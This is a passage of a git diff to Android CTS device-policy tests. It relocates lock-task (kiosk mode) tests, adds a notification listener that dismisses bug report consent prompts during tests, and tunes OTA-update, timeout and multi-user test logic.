+        CountDownLatch notificationDismissedLatch = new CountDownLatch(1);
+        NotificationListener.getInstance().addListener((sbt) -> {
+            // The notification we are looking for is the one which confirms the bug report is
+            // ready and asks for consent to send it
+            if (sbt.getPackageName().equals("android") &&
+                    sbt.getTag().equals("DevicePolicyManager") &&
+                    sbt.getNotification().actions != null) {
+                try {
+                    // The first action is to decline
+                    sbt.getNotification().actions[0].actionIntent.send();
+                    notificationDismissedLatch.countDown();
+                } catch (PendingIntent.CanceledException e) {
+                    fail("Could not dismiss bug report notification");
+                }
+            }
+        });
+        return notificationDismissedLatch;
+    }
+
+    private void cleanupTestRequestBugreport(CountDownLatch notificationDismissedLatch)
+            throws Exception {
+        notificationDismissedLatch.await();
+        NotificationListener.getInstance().clearListeners();
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
index 57d200b..2424c46 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
@@ -17,12 +17,8 @@
 package com.android.cts.deviceowner;
 
 import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
 import static junit.framework.Assert.fail;
 
-import static org.junit.Assert.assertArrayEquals;
-
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
@@ -81,52 +77,8 @@
         setAffiliationIds(Collections.singleton("id.number.2"));
     }
 
-    @Test
-    public void testLockTaskMethodsThrowExceptionIfUnaffiliated() {
-        checkLockTaskMethodsThrow();
-    }
-
-    /** Assumes that the calling user is already affiliated before calling this method */
-    @Test
-    public void testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated() {
-        final String[] packages = {"package1", "package2"};
-        mDevicePolicyManager.setLockTaskPackages(mAdminComponent, packages);
-        assertArrayEquals(packages, mDevicePolicyManager.getLockTaskPackages(mAdminComponent));
-        assertTrue(mDevicePolicyManager.isLockTaskPermitted("package1"));
-        assertFalse(mDevicePolicyManager.isLockTaskPermitted("package3"));
-
-        final Set<String> previousAffiliationIds =
-                mDevicePolicyManager.getAffiliationIds(mAdminComponent);
-        try {
-            // Clearing affiliation ids for this user. Lock task methods unavailable.
-            setAffiliationIds(Collections.emptySet());
-            checkLockTaskMethodsThrow();
-            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
-
-            // Affiliating the user again. Previously set packages have been cleared.
-            setAffiliationIds(previousAffiliationIds);
-            assertEquals(0, mDevicePolicyManager.getLockTaskPackages(mAdminComponent).length);
-            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
-        } finally {
-            mDevicePolicyManager.setAffiliationIds(mAdminComponent, previousAffiliationIds);
-        }
-    }
-
     private void setAffiliationIds(Set<String> ids) {
         mDevicePolicyManager.setAffiliationIds(mAdminComponent, ids);
         assertEquals(ids, mDevicePolicyManager.getAffiliationIds(mAdminComponent));
     }
-
-    private void checkLockTaskMethodsThrow() {
-        try {
-            mDevicePolicyManager.setLockTaskPackages(mAdminComponent, new String[0]);
-            fail("setLockTaskPackages did not throw expected SecurityException");
-        } catch (SecurityException expected) {
-        }
-        try {
-            mDevicePolicyManager.getLockTaskPackages(mAdminComponent);
-            fail("getLockTaskPackages did not throw expected SecurityException");
-        } catch (SecurityException expected) {
-        }
-    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
index 1cbf5b2..b69a60c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.deviceowner;
 
+import static android.app.admin.DevicePolicyManager.InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID;
+
 import android.app.admin.DevicePolicyManager.InstallSystemUpdateCallback;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -54,38 +56,38 @@
     }
 
     public void testInstallUpdate_failNoZipOtaFile() throws InterruptedException {
-        assertUpdateError("notZip.zi",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_failWrongPayloadFile() throws InterruptedException {
-        assertUpdateError("wrongPayload.zip",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_failEmptyOtaFile() throws InterruptedException {
-        assertUpdateError("empty.zip",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_failWrongHash() throws InterruptedException {
-        assertUpdateError("wrongHash.zip",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_failWrongSize() throws InterruptedException {
-        assertUpdateError("wrongSize.zip",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_notCharging_belowThreshold_failsBatteryCheck() throws Exception {
@@ -101,15 +103,15 @@
     }
 
     public void testInstallUpdate_notCharging_aboveThreshold_passesBatteryCheck() throws Exception {
+        if (!isDeviceAB()) {
+            return;
+        }
         try {
             setNonChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
             setNonChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
             // Positive CTS tests aren't possible, so we verify that we get the file-related error
             // rather than the battery one.
-            assertUpdateError("wrongSize.zip",
-                    isDeviceAB()
-                            ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                            : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+            assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
         } finally {
             resetBatteryState();
             resetDevicePolicyConstants();
@@ -129,15 +131,15 @@
     }
 
     public void testInstallUpdate_charging_aboveThreshold_passesBatteryCheck() throws Exception {
+        if (!isDeviceAB()) {
+            return;
+        }
         try {
             setChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
             setChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
             // Positive CTS tests aren't possible, so we verify that we get the file-related error
             // rather than the battery one.
-            assertUpdateError("wrongSize.zip",
-                    isDeviceAB()
-                            ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                            : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+            assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
         } finally {
             resetBatteryState();
             resetDevicePolicyConstants();
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NotificationListener.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NotificationListener.java
new file mode 100644
index 0000000..f224221
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NotificationListener.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.deviceowner;
+
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * A {@link NotificationListenerService} that allows tests to register to respond to notifications.
+ */
+public class NotificationListener extends NotificationListenerService {
+
+    private static final int TIMEOUT_SECONDS = 120;
+
+    private static NotificationListener instance;
+    private static CountDownLatch connectedLatch = new CountDownLatch(1);
+
+    public static NotificationListener getInstance() {
+        try {
+            connectedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("NotificationListener not connected.", e);
+        }
+
+        return instance;
+    }
+
+    private List<Consumer<StatusBarNotification>> mListeners = new ArrayList<>();
+
+    public void addListener(Consumer<StatusBarNotification> listener) {
+        mListeners.add(listener);
+    }
+
+    public void clearListeners() {
+        mListeners.clear();
+    }
+
+    @Override
+    public void onNotificationPosted(StatusBarNotification sbn) {
+        for (Consumer<StatusBarNotification> listener : mListeners) {
+            listener.accept(sbn);
+        }
+    }
+
+    @Override
+    public void onListenerConnected() {
+        instance = this;
+        connectedLatch.countDown();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
index 8f1f88e..c91a86a 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.managedprofile;
 
 import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+import static java.util.concurrent.TimeUnit.SECONDS;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
@@ -33,7 +34,6 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Verify that certain cross profile intent filters are disallowed when the device admin sets
@@ -176,7 +176,7 @@
                         UserManager.DISALLOW_SHARE_INTO_MANAGED_PROFILE);
             }
             // Wait for the restriction to apply
-            assertTrue("Restriction not applied after 5 seconds", latch.await(5, TimeUnit.SECONDS));
+            assertTrue("Restriction not applied after 30 seconds", latch.await(30, SECONDS));
         } finally {
             mContext.unregisterReceiver(receiver);
         }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
index c74211d..b82927e 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
@@ -20,15 +20,19 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.test.AndroidTestCase;
-import android.util.Log;
 
 public class NfcTest extends AndroidTestCase {
     private static final String SAMPLE_TEXT = "This is my text to send.";
     private static final String TEXT_MIME_TYPE = "text/plain";
     private static final String NFC_BEAM_ACTIVITY = "com.android.nfc.BeamShareActivity";
+    private static int NFC_RESOLVE_TIME_STEP_MILLIS = 1000;
+    private static int NFC_RESOLVE_TIMEOUT_MILLIS = 16000;
 
     public void testNfcShareDisabled() throws Exception {
         Intent intent = getTextShareIntent();
+        // After the "no_outgoing_beam" configuration item is modified, it takes a while
+        // until NFC receives the DEVICE_POLICY_MANAGER_STATE_CHANGED broadcast
+        waitForNfcBeamActivityDisabled(intent, NFC_RESOLVE_TIMEOUT_MILLIS);
         assertFalse("Nfc beam activity should not be resolved", isNfcBeamActivityResolved(intent));
     }
 
@@ -37,6 +41,15 @@
         assertTrue("Nfc beam activity should be resolved", isNfcBeamActivityResolved(intent));
     }
 
+    private void waitForNfcBeamActivityDisabled(Intent intent, int maxDelayMillis)
+            throws Exception {
+        int totalDelayedMillis = 0;
+        while (isNfcBeamActivityResolved(intent) && totalDelayedMillis <= maxDelayMillis) {
+            Thread.sleep(NFC_RESOLVE_TIME_STEP_MILLIS);
+            totalDelayedMillis += NFC_RESOLVE_TIME_STEP_MILLIS;
+        }
+    }
+
     private Intent getTextShareIntent() {
         Intent intent = new Intent();
         intent.setAction(Intent.ACTION_SEND);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 3b0cbfb..17bbf06 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -42,6 +42,7 @@
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.LinkedList;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -108,6 +109,12 @@
      */
     private static final int STAY_ON_WHILE_PLUGGED_IN_FLAGS = 7;
 
+    /**
+     * User ID for all users.
+     * The value is from the UserHandle class.
+     */
+    protected static final int USER_ALL = -1;
+
     protected static interface Settings {
         public static final String GLOBAL_NAMESPACE = "global";
         public static interface Global {
@@ -136,6 +143,9 @@
     /** Whether the device has a lock screen.*/
     protected boolean mHasSecureLockScreen;
 
+    /** Whether the device supports telephony. */
+    protected boolean mHasTelephony;
+
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
@@ -156,6 +166,7 @@
         }
         mSupportsMultiUser = getMaxNumberOfUsersSupported() > 1;
         mSupportsFbe = hasDeviceFeature("android.software.file_based_encryption");
+        mHasTelephony = hasDeviceFeature("android.hardware.telephony");
         mFixedPackages = getDevice().getInstalledPackageNames();
         mBuildHelper = new CompatibilityBuildHelper(mCtsBuild);
 
@@ -185,6 +196,7 @@
         }
 
         removeOwners();
+        switchUser(USER_SYSTEM);
         removeTestUsers();
         // Unlock keyguard before test
         wakeupAndDismissKeyguard();
@@ -199,6 +211,7 @@
         getDevice().executeShellCommand("settings put global package_verifier_enable "
                 + mPackageVerifier);
         removeOwners();
+        switchUser(USER_SYSTEM);
         removeTestUsers();
         removeTestPackages();
         super.tearDown();
@@ -211,10 +224,20 @@
 
     protected void installAppAsUser(String appFileName, boolean grantPermissions, int userId)
             throws FileNotFoundException, DeviceNotAvailableException {
+        installAppAsUser(appFileName, grantPermissions, /* dontKillApp */ false, userId);
+    }
+
+    protected void installAppAsUser(String appFileName, boolean grantPermissions,
+            boolean dontKillApp, int userId)
+                    throws FileNotFoundException, DeviceNotAvailableException {
         CLog.d("Installing app " + appFileName + " for user " + userId);
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        List<String> extraArgs = new LinkedList<>();
+        extraArgs.add("-t");
+        if (dontKillApp) extraArgs.add("--dont-kill");
         String result = getDevice().installPackageForUser(
-                buildHelper.getTestFile(appFileName), true, grantPermissions, userId, "-t");
+                buildHelper.getTestFile(appFileName), true, grantPermissions, userId,
+                extraArgs.toArray(new String[extraArgs.size()]));
         assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
                 result);
     }
@@ -235,6 +258,21 @@
         getDevice().startUser(userId);
     }
 
+    /** Initializes the user with waitFlag. This is required so that apps can run on it. */
+    protected void startUserAndWait(int userId) throws Exception {
+        getDevice().startUser(userId, /* waitFlag= */ true);
+    }
+
+    /**
+     * Initializes the user with the given id, and waits until the user has started and unlocked
+     * before continuing.
+     *
+     * <p>This is required so that apps can run on it.
+     */
+    protected void startUser(int userId, boolean waitFlag) throws Exception {
+        getDevice().startUser(userId, waitFlag);
+    }
+
     /**
      * Starts switching to the user with the given ID.
      *
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index 580ffde..9cdcf1a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -182,7 +182,7 @@
             fail("Failed to set device owner");
             return -1;
         }
-        startUser(userId);
+        startUserAndWait(userId);
         return userId;
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 56014ea..ceafda1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -50,14 +50,16 @@
 
     public static final String DEVICE_ADMIN_PKG = "com.android.cts.deviceandprofileowner";
     public static final String DEVICE_ADMIN_APK = "CtsDeviceAndProfileOwnerApp.apk";
-    public static final String ADMIN_RECEIVER_TEST_CLASS
+    protected static final String ADMIN_RECEIVER_TEST_CLASS
             = ".BaseDeviceAdminTest$BasicAdminReceiver";
+    protected static final String DEVICE_ADMIN_COMPONENT_FLATTENED =
+            DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS;
 
     private static final String STORAGE_ENCRYPTION_TEST_CLASS = ".StorageEncryptionTest";
     private static final String IS_PRIMARY_USER_PARAM = "isPrimaryUser";
 
-    private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
-    private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
+    protected static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
+    protected static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
 
     private static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
     private static final String INTENT_SENDER_APK = "CtsIntentSenderApp.apk";
@@ -1056,6 +1058,111 @@
                     .build());
     }
 
+    public void testLockTask() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        try {
+            installAppAsUser(INTENT_RECEIVER_APK, mUserId);
+            executeDeviceTestClass(".LockTaskTest");
+            assertMetricsLogged(
+                    getDevice(),
+                    () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
+                    new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
+                            .setAdminPackageName(DEVICE_ADMIN_PKG)
+                            .setBoolean(true)
+                            .setStrings(DEVICE_ADMIN_PKG)
+                            .build());
+        } catch (AssertionError ex) {
+            // STOPSHIP(b/32771855), remove this once we fixed the bug.
+            executeShellCommand("dumpsys activity activities");
+            executeShellCommand("dumpsys window -a");
+            executeShellCommand("dumpsys activity service com.android.systemui");
+            throw ex;
+        } finally {
+            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+        }
+    }
+
+    public void testLockTaskAfterReboot() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            // Just start kiosk mode
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "startLockTask");
+
+            // Reboot while in kiosk mode and then unlock the device
+            rebootAndWaitUntilReady();
+
+            // Check that kiosk mode is working and can't be interrupted
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskIsActiveAndCantBeInterrupted");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
+    public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            // Just start kiosk mode
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "startLockTask");
+
+            // Reboot while in kiosk mode and then unlock the device
+            rebootAndWaitUntilReady();
+
+            // Try to open settings via adb
+            executeShellCommand("am start -a android.settings.SETTINGS");
+
+            // Check again
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskIsActiveAndCantBeInterrupted");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
+    public void testLockTask_defaultDialer() throws Exception {
+        if (!mHasFeature || !mHasTelephony) {
+            return;
+        }
+        try {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskCanLaunchDefaultDialer");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
+    public void testLockTask_emergencyDialer() throws Exception {
+        if (!mHasFeature || !mHasTelephony) {
+            return;
+        }
+        try {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskCanLaunchEmergencyDialer");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
+    public void testLockTask_exitIfNoLongerWhitelisted() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        try {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskIsExitedIfNotWhitelisted");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
     public void testSuspendPackage() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
index 0b7cc6b..25168ff 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -592,7 +592,7 @@
             final int userId = createManagedProfile(mPrimaryUserId);
             installAppAsUser(apkName, userId);
             setProfileOwnerOrFail(adminReceiverClassName, userId);
-            startUser(userId);
+            startUserAndWait(userId);
             runDeviceTestsAsUser(
                     packageName,
                     MANAGEMENT_TEST,
@@ -617,7 +617,7 @@
         List<Integer> newUsers = getUsersCreatedByTests();
         assertEquals(1, newUsers.size());
         int secondaryUserId = newUsers.get(0);
-        getDevice().startUser(secondaryUserId);
+        getDevice().startUser(secondaryUserId, /* waitFlag= */ true);
         return secondaryUserId;
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index a42799e..d223f03 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -18,6 +18,8 @@
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 
+import android.stats.devicepolicy.EventId;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -33,8 +35,6 @@
 import java.util.List;
 import java.util.Map;
 
-import android.stats.devicepolicy.EventId;
-
 /**
  * Set of tests for Device Owner use cases.
  */
@@ -81,12 +81,6 @@
      */
     private static final int UPDATE_ERROR_UPDATE_FILE_INVALID = 3;
 
-    /**
-     * Copied from {@link android.app.admin.DevicePolicyManager
-     * .InstallSystemUpdateCallback#UPDATE_ERROR_UNKNOWN}
-     */
-    private static final int UPDATE_ERROR_UNKNOWN = 1;
-
     private static final int TYPE_NONE = 0;
 
     /**
@@ -119,6 +113,8 @@
             }
 
             getDevice().executeShellCommand(" mkdir " + TEST_UPDATE_LOCATION);
+            // Enable the notification listener
+            getDevice().executeShellCommand("cmd notification allow_listener com.android.cts.deviceowner/com.android.cts.deviceowner.NotificationListener");
         }
         mHasCreateAndManageUserFeature = mHasFeature && canCreateAdditionalUsers(1)
                 && hasDeviceFeature("android.software.managed_users");
@@ -282,15 +278,24 @@
             return;
         }
 
+        int maxUsers = getDevice().getMaxNumberOfUsersSupported();
         int maxRunningUsers = getDevice().getMaxNumberOfRunningUsersSupported();
-        // Primary user is already running, so we can start up to maxRunningUsers -1.
-        for (int i = 0; i < maxRunningUsers - 1; i++) {
+
+        // Primary user is already running, so we can create and start up to minimum of above - 1.
+        int usersToCreateAndStart = Math.min(maxUsers, maxRunningUsers) - 1;
+        for (int i = 0; i < usersToCreateAndStart; i++) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
                     "testCreateAndManageUser_StartInBackground");
         }
-        // The next startUserInBackground should return USER_OPERATION_ERROR_MAX_RUNNING_USERS.
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_StartInBackground_MaxRunningUsers");
+
+        if (maxUsers > maxRunningUsers) {
+            // The next startUserInBackground should return USER_OPERATION_ERROR_MAX_RUNNING_USERS.
+            executeDeviceTestMethod(".CreateAndManageUserTest",
+                    "testCreateAndManageUser_StartInBackground_MaxRunningUsers");
+        } else {
+            // The next createAndManageUser should return USER_OPERATION_ERROR_MAX_USERS.
+            executeDeviceTestMethod(".CreateAndManageUserTest", "testCreateAndManageUser_MaxUsers");
+        }
     }
 
     /**
@@ -568,113 +573,6 @@
         executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_containsEmptyString");
     }
 
-    public void testLockTask_deviceOwnerUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        try {
-            installAppAsUser(INTENT_RECEIVER_APK, mPrimaryUserId);
-            executeDeviceOwnerTest("LockTaskTest");
-            assertMetricsLogged(getDevice(), () -> {
-                runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskTest", "testStartLockTask",
-                        mPrimaryUserId);
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
-                    .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .setBoolean(true)
-                    .setStrings(DEVICE_OWNER_PKG)
-                    .build());
-        } catch (AssertionError ex) {
-            // STOPSHIP(b/32771855), remove this once we fixed the bug.
-            executeShellCommand("dumpsys activity activities");
-            executeShellCommand("dumpsys window -a");
-            executeShellCommand("dumpsys activity service com.android.systemui");
-            throw ex;
-        } finally {
-            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
-        }
-    }
-
-    public void testLockTaskAfterReboot_deviceOwnerUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        try {
-            // Just start kiosk mode
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
-                    mPrimaryUserId);
-
-            // Reboot while in kiosk mode and then unlock the device
-            rebootAndWaitUntilReady();
-
-            // Check that kiosk mode is working and can't be interrupted
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
-        } finally {
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "clearDefaultHomeIntentReceiver", mPrimaryUserId);
-        }
-    }
-
-    public void testLockTaskAfterReboot_tryOpeningSettings_deviceOwnerUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        try {
-            // Just start kiosk mode
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
-                    mPrimaryUserId);
-
-            // Reboot while in kiosk mode and then unlock the device
-            rebootAndWaitUntilReady();
-
-            // Try to open settings via adb
-            executeShellCommand("am start -a android.settings.SETTINGS");
-
-            // Check again
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
-        } finally {
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "clearDefaultHomeIntentReceiver", mPrimaryUserId);
-        }
-    }
-
-    public void testLockTask_unaffiliatedUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
-
-        final int userId = createUser();
-        installAppAsUser(DEVICE_OWNER_APK, userId);
-        setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
-
-        runDeviceTestsAsUser(
